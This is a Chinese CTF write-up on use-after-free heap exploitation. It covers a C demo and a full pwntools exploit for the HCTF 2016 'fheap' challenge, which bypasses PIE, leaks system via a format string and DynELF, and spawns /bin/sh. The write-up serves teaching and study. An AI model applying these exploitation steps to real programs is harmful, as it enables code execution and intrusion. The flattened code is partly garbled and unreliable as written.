一、前言
想着下一步写一个use after free小总结,碰巧最近2016年湖湘杯一题----game利用use after free可以解决。这个问题是你自己的。***在比较正式的比赛中pwn问题,做这个问题花了很多时间,效率不高,但我还是很开心,然后回去做hctf2016的fheap这个问题,也可以用uaf解出来,game这个话题的复杂度略高,描述起来有点难。以下主要用途hctf这个问题告诉你原则。uaf搜了一下漏洞,uaf浏览器里有很多漏洞,感兴趣的同学可以自己查。
二、uaf原理
uaf漏洞的主要原因是在释放堆块后,该指针没有被放置NULL,这导致该指针处于悬挂状态,如果同样释放的内存被恶意构建,则可以使用。在具体解释之前,给你一个直观的印象。
#include<stdio.h>#include<stdlib.h>typedefvoid(*func_ptr)(char*);voidevil_fuc(charcommand[]){system(command);}voidecho(charcontent[]){printf("%s",content);}intmain(){func_ptr*p1=(int*)malloc(4*sizeof(int));printf("mallocaddr:%p\n",p1);p1[3]=echo;p1[3]("helloworld\n");free(p1);//在这里free了p1,但并未将p1空置导致后续可重复使用p1指针p1[3]("helloagain\n");//p1虽然指针没有被置空free但还是可以用的.func_ptr*p2=(int*)malloc(4*sizeof(int));//malloc在free内存完成后,再次申请相同大小的指针将分配刚刚释放的内存.printf("mallocaddr:%p\n",p2);printf("mallocaddr:%p\n",p1);//p2与p1指针指向同一地址的内存p2[3]=evil_fuc;//将在这里p1保存在指针中echo函数指针覆盖已成为evil_func指针.p1[3]("whoami");return0;}该代码在32位系统下执行。通过这个代码,可能会uaf利用过程总结如下:
1、申请一个空间并释放它。释放后,指针不会空,所以这个指针仍然可以使用。p1。
2、申请空间p2,由于malloc分配过程p2指向的空间是刚刚释放的p1指针的空间,构造恶意的数据将这段内存空间布局好,即覆盖了p1中的数据。
3、利用p1,通常有一个函数指针,因为它以前被使用过p2将p1中间的数据被覆盖,所以此时的数据是我们可以控制的,也就是说,可能存在劫持函数流。
三、hctf2016--fheap
uaf原理相对简单。以下是具体的实践。如果这个漏洞比较复杂,那就和了double free这些其他堆的常用 *** 一起出题,具体可以看bctf2015的freenote。不过fheap这题用uaf直接就解决了。还有就是湖湘杯2016的game题,和fheap基本上是一样的。如果你跟出这个问题,你可以做到game试试。先介绍一下fheap的功能。
A、程序功能
程序提供的功能相对简单,共两个功能:
1、create string
输入create 之后,然后输入size,然后输入特定的字符串。相关数据结构为:先申请0x20如果输入的字符串长度大于字节的堆块存储结构0xf,另外,申请相应长度的空间存储字符串,否则直接存储在以前申请的字符串中0x20在字节的前16个字节***,会将相关free函数的地址存储在堆储结构的后八字节中。相关示意图描述如下:
2、delete string
调用存储在结构体中的调用free_func这个指针来释放堆,由于在释放以后没有将指针置空,出现了释放后仍可利用的现象,即uaf。
B、检查防护机制
首先,检查打开的安全机制
可见开启PIE,还需要绕过解决问题的过程PIE,PIE这意味着代码段的地址也会随机化,但低两位字节是固定的,我们可以利用这一点来泄露程序的地址。
C、利用思路
一般思路:一是利用uaf,利用堆块之间的应用和释放步骤,形成对free_func指针覆盖。从而达到劫持程序流的目的。具体来说,三个字符创小于三个字符。0xf并释放堆块。fastbin空心堆块的单链表结构如下左图所示,然后申请字符串长度0x20此时,应用堆中的数据将如下右图所示。此时,后续应用的堆块与以前应用的1号堆块有相同的内存空间。此时,输入的数据可以覆盖1号堆块free_func指针指向我们需要执行的函数,然后调用1号堆块free_func函数,即劫持函数流的目的。
1、绕过PIE,劫持函数流后,首先是泄露程序地址以绕过PIE,具体 *** 是将free_func指针的***位覆盖成"\x2d",变成去执行fputs函数,***变成去印出free_func程序的基地址等。
2、泄露system函数地址,首先是程序地址,可以得到printf函数的plt地址,从而找到在栈中部署数据的 *** ,用格式化字符串打印我们需要的地址内容,使用DynELF模块泄露地址,详见安全客之前写的文章---借助DynELF实现无libc总结漏洞。从而泄漏system函数地址。
3、执行system("/bin/sh")
最终调用system函数开启shell。
D、最终exp
exp最后,还有一些注释。
frompwnimport*fromctypesimport*DEBUG=1ifDEBUG:p=process('./fheap')else:r=remote('172.16.4.93',13025)print_plt=0defcreate(size,content):p.recvuntil("quit")p.send("create")p.recvuntil("size:")p.send(str(size) '\n')p.recvuntil('str:')p.send(content.ljust(size,'\x00'))p.recvuntil('\n')[:-1]defdelete(idx):p.recvuntil("quit")p.send("delete" '\n')p.recvuntil('id:')p.send(str(idx) '\n')p.recvuntil('sure?:')p.send('yes' '\n')defleak(addr):delete(0)#printf函数格式化字符串打印第九个参数地址中的数据,第九个只是输入addr的位置data='aa%9$s' '#'*(0x18-len('aa%9$s')) p64(print_plt)create(0x20,data)p.recvuntil("quit")p.send("delete")p.recvuntil('id:')p.send(str(1) '\n')p.recvuntil('sure?:')p.send('yes01234' p64(addr))p.recvuntil('aa')data=p.recvuntil('####')[:-4]data ="\x00"returndatadefpwn():globalprint_pltcreate(4,'aa')create(4,'bb')create(4,'cc')delete(2)delete(1)delete(0)#申请三个堆块,然后删除它们fastbin链表中形成三个空堆块#part1覆盖到fputs函数,绕过PIEdata='a'*0x10 'b'*0x8 '\x2D' '\x00'#***次覆盖,泄露函数地址。create(0x20,data)#连续创建两个堆块,使输入data与前块1公用一块内存。delete(1)#劫持函数程序流在这里p.recvuntil('b'*0x8)data=p.recvuntil('1.')[:-2]iflen(data)>8:datadata=data[:8]data=u64(data.ljust(8,'\x00'))-0xA000000000000#这里可能不需要减能不需要调整proc_base=data-0xd2dprint"procbase",hex(proc_base)print_plt=proc_base 0x9d0print"printplt",hex(print_plt)delete(0)data='a'*0x10 'b'*0x8 '\x2D' '\x00'create(0x20,data)delete(1)p.recvuntil('b'*0x8)data=p.recvuntil('1.')[:-2]#part2使用DynELF泄露system函数地址d=DynELF(leak,proc_base,elf=ELF('./fheap'))system_addr=d.lookup('system','libc')print"system_addr:",hex(system_addr)#parts执行system函数,开启shelldelete(0)data='/bin/sh;' '#'*(0x18-len('/bin/sh;')) p64(system_addr)create(0x20,data)delete(1)p.interactive()#####用法总结为#delete(0)添加应用堆fastbin中#create(0x20,data),连续申请两个堆块,数据覆盖1堆free_func指针#delete(1)劫持函数流,调用我们覆盖的指针处的地址###if__name__=='__main__':pwn()执行结果
四、小结
我感觉UAF最重要的是,该指针在释放堆块后没有清空指针。在内存空间数据覆盖到其他数据后,指针仍然可以正常使用内存,导致数据误用。ctf问题中很容易遇到的是,释放的堆块最初用于存储函数指针,后来被恶意构建的数据覆盖到其他地址,以实现劫持函数流的目的,因此可能会pwn掉了。